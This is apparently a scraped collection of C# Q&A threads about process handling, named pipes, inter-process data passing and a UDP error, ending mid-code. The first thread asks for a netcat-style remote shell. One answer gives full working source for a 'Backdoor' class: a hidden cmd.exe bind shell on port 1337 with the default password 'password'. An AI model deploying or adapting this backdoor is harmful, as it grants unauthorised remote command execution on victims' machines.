Writing a program with remote shell functionality like netcat - c#

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.

Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}

Related

Missing Output when Redirecting Standard Error in C# / .NET Process

I'm working with a 3rd party, command-line tool called "sam-ba" v3.5 (available here for free). It's a C++ / QML command line tool that interfaces with a hardware module to read/write data. Output from commands, in most cases, is sent to Standard Error.
I have a C# / .NET application that creates a Process object to execute the sam-ba tool and run commands. Executing the commands works as expected. What doesn't always work is the redirect of the Standard Error output. In some commands, part or all of the output is not received by the C# application. For example, here is the execution of a command using the sam-ba tool directly at the Windows 10 command line:
C:\Temp\Stuff\sam-ba_3.5>sam-ba -p serial:COM5 -d sama5d3 -m version
Error: Cannot open invalid port 'COM5'
Cannot open invalid port 'COM5'
Here is some simple code from a C# application to create a Process object to execute the sam-ba tool with the same command:
Process p = new Process
{
StartInfo = new ProcessStartInfo("sam-ba.exe", "-p serial:COM5 -d sama5d3 -m version")
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
p.Start();
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
Console.WriteLine("Standard Out: " + output);
Console.WriteLine("Standard Error: " + error);
The Output of the C# application:
Standard Out:
Standard Error: Cannot open invalid port 'COM5'
In this simple example, only 1 of the output lines is redirected to Standard Error while the other is not. I've tried many different commands and results are mixed. Sometimes I get everything, sometimes partial output, sometimes no output.
Now ... here's the real issue. The following is a python script (v3.8) that does exactly what the C# application is doing:
import subprocess
import sys
result = subprocess.run("sam-ba.exe -p serial:COM5 -d sama5d3 -m version", capture_output=True, text=True)
print("stdout:", result.stdout)
print("stderr:", result.stderr)
This script always returns the correct output to standard error. BUT ... when I run this script from the C# app to create a chain of C# -> python -> sam-ba, I get the same issue of output missing from the stream.
This has led me to 2 conclusions:
Something in that sam-ba tool is different about the way it is outputting its text. Format, content, ... something. There's an inconsistency going on somewhere in that code
Something is different about the environment created by the C# Process object when executing external applications that doesn't happen when the external application is run directly. Otherwise, why would the python script get all the output when run directly, but not when run through the C# Process object?
It is #2 that has brought me here. I'm looking for any insight on how to diagnose this. Something I'm doing wrong, settings I can try within the Process object, thoughts on how data can go into a stream and not come out on redirect, or if anyone has ever seen something like this before and how they resolved it.
UPDATE
Got a hold of the sam-ba tool's source code. The output the C# app is not capturing is coming from the QML files. They are using this 'print()' method that I can't really find any details on. The output the C# app can capture is being delivered back to the C++ side via signals and then sent to standard error. This feeds back into my conclusion #1 where they have inconsistencies in their code.
Still, this potentially means there is a conflict between C# and QT/QML, which would explain why the Python script gets the QML output, but the C# app does not.
The following uses ShellExecute instead of CreateProcess when running
process. When using ShellExecute one can't re-direct StandardOutput and/or StandardError for Process. To work around this, both StandardOutput and StandardError are re-directed to a temp file, and then the data is read from the temp file--which seems to result in the same output that one sees when running from a cmd window.
Note: In the following code it's necessary to use %windir%\system32\cmd.exe (ex: C:\Windows\system32\cmd.exe) with the /c option. See the usage section below.
Add using statement: using System.Diagnostics;
Then try the following:
public string RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
string result = string.Empty;
string tempFilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "tempSam-ba.txt");
string tempArguments = arguments;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "Error: fqExePath not specified";
}
//redirect both StandardOutput and StandardError to a temp file
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", tempFilename, #"2>&1");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, tempArguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.CreateNoWindow = false;
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
//read output from temp file
//file may still be in use, so try to read it.
//if it is still in use, sleep and try again
if (System.IO.File.Exists(tempFilename))
{
string errMsg = string.Empty;
int count = 0;
do
{
//re-initialize
errMsg = string.Empty;
try
{
result = System.IO.File.ReadAllText(tempFilename);
Debug.WriteLine(result);
}
catch(System.IO.IOException ex)
{
errMsg = ex.Message;
}
catch (Exception ex)
{
errMsg = ex.Message;
}
System.Threading.Thread.Sleep(125);
count += 1; //increment
} while (!String.IsNullOrEmpty(errMsg) && count < 10);
//delete temp file
System.IO.File.Delete(tempFilename);
}
return result;
}
Usage:
RunProcess(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Note: /c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version is the value of the process "Argument" property.
Update:
Option 2:
Here's a solution that uses named pipes. Process is used to redirect the output to a named pipe instead of a file. One creates a named pipe "server" which listens for a connection from a client.Then System.Diagnostics.Process is used to run the desired command and redirect the output to the named pipe server. The "server" reads the output, and then raises event "DataReceived" which will return the data to any subscribers.
The named pipe server code is from here, however I've modified it. I've added numerous events--which can be subscribed to. I've also added the ability for the server to shut itself down after it's finished reading the data by setting "ShutdownWhenOperationComplete" to "true".
Create a class named: HelperNamedPipeServer.cs
HelperNamedPipeServer.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO.Pipes;
using System.IO;
using System.Diagnostics;
using System.Threading;
using System.Security.Principal;
namespace ProcessTest
{
public class HelperNamedPipeServer : IDisposable
{
//delegates
public delegate void EventHandlerClientConnected(object sender, bool e);
public delegate void EventHandlerDataReceived(object sender, string data);
public delegate void EventHandlerOperationCompleted(object sender, bool e);
public delegate void EventHandlerMessageComplete(object sender, bool e);
public delegate void EventHandlerReadComplete(object sender, bool e);
public delegate void EventHandlerServerShutdown(object sender, bool e);
public delegate void EventHandlerServerStarted(object sender, bool e);
//event that subscribers can subscribe to
public event EventHandlerClientConnected ClientConnected;
public event EventHandlerDataReceived DataReceived;
public event EventHandlerMessageComplete MessageReadComplete;
public event EventHandlerOperationCompleted OperationCompleted;
public event EventHandlerReadComplete ReadComplete;
public event EventHandlerServerShutdown ServerShutdown;
public event EventHandlerServerStarted ServerStarted;
public bool IsClientConnected
{
get
{
if (_pipeServer == null)
{
return false;
}
else
{
return _pipeServer.IsConnected;
}
}
}
public string PipeName { get; set; } = string.Empty;
public bool ShutdownWhenOperationComplete { get; set; } = false;
//private int _bufferSize = 4096;
private int _bufferSize = 65535;
//private volatile NamedPipeServerStream _pipeServer = null;
private NamedPipeServerStream _pipeServer = null;
public HelperNamedPipeServer()
{
PipeName = "sam-ba-pipe";
}
public HelperNamedPipeServer(string pipeName)
{
PipeName = pipeName;
}
private NamedPipeServerStream CreateNamedPipeServerStream(string pipeName)
{
//named pipe with security
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); //member of Administrators group
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); //everyone
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null); //member of Users group
//PipeAccessRule rule = new PipeAccessRule(sid, PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);
//PipeSecurity pSec = new PipeSecurity();
//pSec.AddAccessRule(rule);
//named pipe - with specified security
//return new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, _bufferSize, _bufferSize, pSec);
//named pipe - access for everyone
//return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
}
public void Dispose()
{
Shutdown();
}
private void OnClientConnected()
{
LogMsg("OnClientConnected");
//raise event
if (ClientConnected != null)
ClientConnected(this, true);
}
private void OnDataReceived(string data)
{
LogMsg("OnClientConnected");
//raise event
if (DataReceived != null && !String.IsNullOrEmpty(data))
{
if (DataReceived != null)
DataReceived(this, data);
}
}
private void OnMessageReadComplete()
{
LogMsg("OnMessageReadComplete");
//raise event
if (MessageReadComplete != null)
MessageReadComplete(this, true);
}
private void OnOperationCompleted()
{
LogMsg("OnOperationCompleted");
//raise event
if (OperationCompleted != null)
OperationCompleted(this, true);
}
private void OnReadComplete()
{
LogMsg("OnReadComplete");
//raise event
if (ReadComplete != null)
ReadComplete(this, true);
}
private void OnServerShutdown()
{
LogMsg("OnServerShutdown");
//raise event
if (ServerShutdown != null)
ServerShutdown(this, true);
}
private void OnServerStarted()
{
LogMsg("OnServerStarted");
//raise event
if (ServerStarted != null)
ServerStarted(this, true);
}
private async void DoConnectionLoop(IAsyncResult result)
{ //wait for connection, then process the data
if (!result.IsCompleted) return;
if (_pipeServer == null) return;
//IOException = pipe is broken
//ObjectDisposedException = cannot access closed pipe
//OperationCanceledException - read was canceled
//accept client connection
try
{
//client connected - stop waiting for connection
_pipeServer.EndWaitForConnection(result);
OnClientConnected(); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
while (IsClientConnected)
{
if (_pipeServer == null) break;
try
{
// read from client
string clientMessage = await ReadClientMessageAsync(_pipeServer);
OnDataReceived(clientMessage); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
}
//raise event
OnOperationCompleted();
if (!ShutdownWhenOperationComplete)
{
//client disconnected. start listening for clients again
if (_pipeServer != null)
RebuildNamedPipe();
}
else
{
Shutdown();
}
}
private void LogMsg(string msg)
{
//ToDo: log message
string output = String.Format("{0} - {1}", DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"), msg);
//ToDo: uncomment this line, if desired
//Debug.WriteLine(output);
}
private void RebuildNamedPipe()
{
Shutdown();
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
private async Task<string> ReadClientMessageAsync(NamedPipeServerStream stream)
{
byte[] buffer = null;
string clientMsg = string.Empty;
StringBuilder sb = new StringBuilder();
int msgIndex = 0;
int read = 0;
LogMsg("Reading message...");
if (stream.ReadMode == PipeTransmissionMode.Byte)
{
LogMsg("PipeTransmissionMode.Byte");
//byte mode ignores message boundaries
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (read > 0);
//raise event
OnReadComplete();
OnMessageReadComplete();
}
else if (stream.ReadMode == PipeTransmissionMode.Message)
{
LogMsg("PipeTransmissionMode.Message");
do
{
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (!stream.IsMessageComplete);
//raise event
OnMessageReadComplete();
} while (read > 0);
//raise event
OnReadComplete();
LogMsg("message completed");
}
return sb.ToString();
}
private void Shutdown()
{
LogMsg("Shutting down named pipe server");
if (_pipeServer != null)
{
try { _pipeServer.Close(); } catch { }
try { _pipeServer.Dispose(); } catch { }
_pipeServer = null;
}
}
public void StartServer(object obj = null)
{
LogMsg("Info: Starting named pipe server...");
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
public void StopServer()
{
Shutdown();
OnServerShutdown(); //raise event
LogMsg("Info: Server shutdown.");
}
}
}
Next, I've created a "Helper" class that contains the code to start the named pipe server, run the command using Process, and return the data. There are three ways to get the data. It's returned by the method, one can subscribe to the "DataReceived" event, or once the method completes, the data will be in property "Data".
Helper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO.Pipes;
using System.IO;
using System.Threading;
namespace ProcessTest
{
public class Helper : IDisposable
{
public delegate void EventHandlerDataReceived(object sender, string data);
//event that subscribers can subscribe to
public event EventHandlerDataReceived DataReceived;
private StringBuilder _sbData = new StringBuilder();
private HelperNamedPipeServer _helperNamedPipeServer = null;
private bool _namedPipeServerOperationComplete = false;
public string Data { get; private set; } = string.Empty;
public Helper()
{
}
private void OnDataReceived(string data)
{
if (!String.IsNullOrEmpty(data) && DataReceived != null)
{
DataReceived(this, data);
//Debug.Write("Data: " + data);
}
}
public void Dispose()
{
ShutdownNamedPipeServer();
}
public async Task<string> RunSambaNamedPipesAsync(string fqExePath, string arguments, string pipeName = "sam-ba-pipe", string serverName = ".", bool runAsAdministrator = false)
{
string result = string.Empty;
string tempArguments = arguments;
//re-initialize
_namedPipeServerOperationComplete = false;
_sbData = new StringBuilder();
Data = string.Empty;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "fqExePath not specified";
}
//create new instance
_helperNamedPipeServer = new HelperNamedPipeServer(pipeName);
_helperNamedPipeServer.ShutdownWhenOperationComplete = true;
//subscribe to events
_helperNamedPipeServer.DataReceived += HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted += HelperNamedPipeServer_OperationCompleted;
//start named pipe server on it's own thread
Thread t = new Thread(_helperNamedPipeServer.StartServer);
t.Start();
//get pipe name to use with Process
//this is where output from the process
//will be redirected to
string fqNamedPipe = string.Empty;
if (String.IsNullOrEmpty(serverName))
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", serverName, pipeName);
}
else
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", ".", pipeName);
}
//redirect both StandardOutput and StandardError to named pipe
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", fqNamedPipe, #"2>&1");
}
//run Process
RunProcess(fqExePath, tempArguments, runAsAdministrator);
while (!_namedPipeServerOperationComplete)
{
await Task.Delay(125);
}
//set value
Data = _sbData.ToString();
return Data;
}
public void RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
throw new Exception( "Error: fqExePath not specified");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, arguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
}
private void HelperNamedPipeServer_OperationCompleted(object sender, bool e)
{
//Debug.WriteLine("Info: Named pipe server - Operation completed.");
//set value
Data = _sbData.ToString();
//set value
_namedPipeServerOperationComplete = true;
}
private void HelperNamedPipeServer_DataReceived(object sender, string data)
{
Debug.WriteLine("Info: Data received from named pipe server.");
if (!String.IsNullOrEmpty(data))
{
//append
_sbData.Append(data.TrimEnd('\0'));
//send data to subscribers
OnDataReceived(data);
}
}
private void ShutdownNamedPipeServer()
{
Debug.WriteLine("Info: ShutdownNamedPipeServer");
try
{
if (_helperNamedPipeServer != null)
{
//unsubscribe from events
_helperNamedPipeServer.DataReceived -= HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted -= HelperNamedPipeServer_OperationCompleted;
_helperNamedPipeServer.Dispose();
_helperNamedPipeServer = null;
}
}
catch (Exception ex)
{
}
}
}
}
Usage:
private async void btnRunUsingNamedPipes_Click(object sender, EventArgs e)
{
//Button name: btnRunUsingNamedPipes
using (Helper helper = new Helper())
{
//subscribe to event
helper.DataReceived += Helper_DataReceived;
var result = await helper.RunSambaNamedPipesAsync(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Debug.WriteLine("Result: " + result);
//unsubscribe from event
helper.DataReceived -= Helper_DataReceived;
}
}
private void Helper_DataReceived(object sender, string data)
{
//System.Diagnostics.Debug.WriteLine(data);
//RichTextBox name: richTextBoxOutput
if (richTextBoxOutput.InvokeRequired)
{
richTextBoxOutput.Invoke((MethodInvoker)delegate
{
richTextBoxOutput.Text = data;
richTextBoxOutput.Refresh();
});
}
}
Resources:
When do we need to set ProcessStartInfo.UseShellExecute to True?
Redirecting error messages from Command Prompt: STDERR/STDOUT
PipeTransmissionMode.Message: How do .NET named pipes distinguish between messages?
WellKnownSidType Enum

How to pass data from one WPF application to another WPF application?

I have two application which is Cashier.exe and Payment.exe
I want to pass the data for PosWindows.retrieveOrder from Cashier.exe to Payment.exe
PosWindows.retrieveOrder contains lots of data such as OrderId, OrderCode and more (which means its not single data)
I'm using this code but it does not send the data. is it because it cannot send a whole data like that ?
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:/Project/Application/Payment/Payment.exe";
psi.Arguments = "\"" + PosWindows.totalAmount.ToString() + "\"\"" + PosWindows.retrieveOrder + "\"";
var p = Process.Start(psi);
If I only send PosWindows.totalAmount.ToString().
which is something like this
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:/Project/Application/Payment/Payment.exe";
psi.Arguments = "\""+ PosWindows.totalAmount.ToString() + "\"";
var p = Process.Start(psi);
its working fine. but when I add PosWindows.retrieveOrder its not working.
does it impossible to send the PosWindows.retrieveOrder ?
I don't know if this problem come from this code below (because I don't declare for retrieveOrder)
This one at Payment.exe
private void app_Startup(object sender, StartupEventArgs e)
{
var args = e.Args;
if (args != null && args.Count() > 0)
{
foreach (var arg in args)
{
PaymentView.globalTotalAmount = decimal.Parse(arg);
}
}
}
if yes what will I do ? I means what should I put to replace this part decimal.Parse(arg) for retrieveOrder ?
You can use NamedPipeServerStream class.
https://learn.microsoft.com/en-us/dotnet/api/system.io.pipes.namedpipeserverstream?view=netframework-4.7.2
Take one of your apps as client, and the other as server. You can handle an async communication and parse your message when listening is completed.
Also you can check out Example of Named Pipes
Edit for solution example:
At client app, lets call the class PipeClient.cs
public void Send(string SendStr, string PipeName, int TimeOut = 1000)
{
try
{
NamedPipeClientStream pipeStream = new NamedPipeClientStream(".", PipeName, PipeDirection.Out, PipeOptions.Asynchronous);
// The connect function will indefinitely wait for the pipe to become available
// If that is not acceptable specify a maximum waiting time (in ms)
pipeStream.Connect(TimeOut);
Debug.WriteLine("[Client] Pipe connection established");
byte[] _buffer = Encoding.UTF8.GetBytes(SendStr);
pipeStream.BeginWrite(_buffer, 0, _buffer.Length, AsyncSend, pipeStream);
}
catch (Exception ex)
{
Debug.WriteLine("Pipe Send Exception: " + ex);
}
}
private void AsyncSend(IAsyncResult iar)
{
try
{
// Get the pipe
NamedPipeClientStream pipeStream = (NamedPipeClientStream)iar.AsyncState;
// End the write
pipeStream.EndWrite(iar);
pipeStream.Flush();
pipeStream.Close();
pipeStream.Dispose();
}
catch (Exception oEX)
{
Debug.WriteLine(oEX.Message);
}
}
And after you initialize your class just send the message with:
_pipeClient.Send(pipeMsg, "PipeName", Timeout);
At server app, lets call the class PipeServer.cs
public void Listen(string PipeName)
{
try
{
// Set to class level var so we can re-use in the async callback method
_pipeName = PipeName;
// Create the new async pipe
NamedPipeServerStream pipeServer = new NamedPipeServerStream(PipeName, PipeDirection.In, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// Wait for a connection
pipeServer.BeginWaitForConnection(new AsyncCallback(WaitForConnectionCallBack), pipeServer);
}
catch (Exception oEX)
{
Debug.WriteLine(oEX.Message);
}
}
private void WaitForConnectionCallBack(IAsyncResult iar)
{
NamedPipeServerStream pipeServer = (NamedPipeServerStream)iar.AsyncState;
try
{
// End waiting for the connection
pipeServer.EndWaitForConnection(iar);
byte[] buffer = new byte[255];
// Read the incoming message
pipeServer.Read(buffer, 0, 255);
// Convert byte buffer to string
string stringData = Encoding.UTF8.GetString(buffer, 0, buffer.Length);
Debug.WriteLine(stringData + Environment.NewLine);
// Pass message back to calling form
PipeMessage.Invoke(stringData);
// Kill original server and create new wait server
pipeServer.Close();
pipeServer = null;
pipeServer = new NamedPipeServerStream(_pipeName, PipeDirection.In, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// Recursively wait for the connection again and again....
pipeServer.BeginWaitForConnection(new AsyncCallback(WaitForConnectionCallBack), pipeServer);
}
catch (Exception ex)
{
string ctch = ex.ToString();
return;
}
}
For handling the pipestream message, delegate to a handler and parse the message:
_pipeServer.PipeMessage += new DelegateMessage(PipesMessageHandler);
at somewhere you need in your code:
_pipeServer.Listen("PipeName");
and parse for example:
private void PipesMessageHandler(string message)
{
if (this.Dispatcher.CheckAccess())
{
this.Dispatcher.Invoke(new NewMessageDelegate(PipesMessageHandler), message);
}
else
{
string pipeMessage = Convert.DateTime(message);
}
}

.NET UDPClient: Error: An existing connection was forcibly closed by the remote host

I had a perfectly fine working console program that uses UdpClient.send to send messages to another program on the localhost (over port 7777). (which oddly enough is an almost identical version this C# script, but running in unity3d, and it has no trouble receiving with the same code).
Now I need to get replies from that program. I added a thread (see bottom) which listens on port 7778 for messages. But I am getting an error when starting saying that:
An existing connection was forcibly closed by the remote host
using Newtonsoft.Json;
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Blaster
{
class Blaster
{
UdpClient client;
IPEndPoint outPoint;
IPEndPoint inPoint;
public int oPort = 7777;
public int iPort = 7778;
public string hostName = "localhost";
public int stepNum = 0;
const int rate = 1000;
public System.Timers.Timer clock;
Thread listener;
static void Main(string[] args)
{
Blaster b = new Blaster();
b.run();
}
Blaster()
{
client = new UdpClient();
outPoint = new IPEndPoint(Dns.GetHostAddresses(hostName)[0], oPort);
inPoint = new IPEndPoint(Dns.GetHostAddresses(hostName)[0], iPort);
}
void run()
{
this.stepNum = 0;
listener = new Thread(new ThreadStart(translater));
listener.IsBackground = true;
listener.Start();
Console.WriteLine("Press Enter to do a send loop...\n");
Console.ReadLine();
Console.WriteLine("started at {0:HH:mm:ss.fff}", DateTime.Now);
start();
Console.WriteLine("Press Enter to stop");
Console.ReadLine();
stop();
client.Close();
}
void stop()
{
clock.Stop();
clock.Dispose();
}
void start()
{
clock = new System.Timers.Timer(rate);
clock.Elapsed += send;
clock.AutoReset = true;
clock.Enabled = true;
}
void send(Object source, System.Timers.ElapsedEventArgs e)
{
Console.WriteLine("sending: {0}", stepNum);
Byte[] sendBytes = Encoding.ASCII.GetBytes(message());
try
{
client.Send(sendBytes, sendBytes.Length, outPoint);
}
catch (Exception err)
{
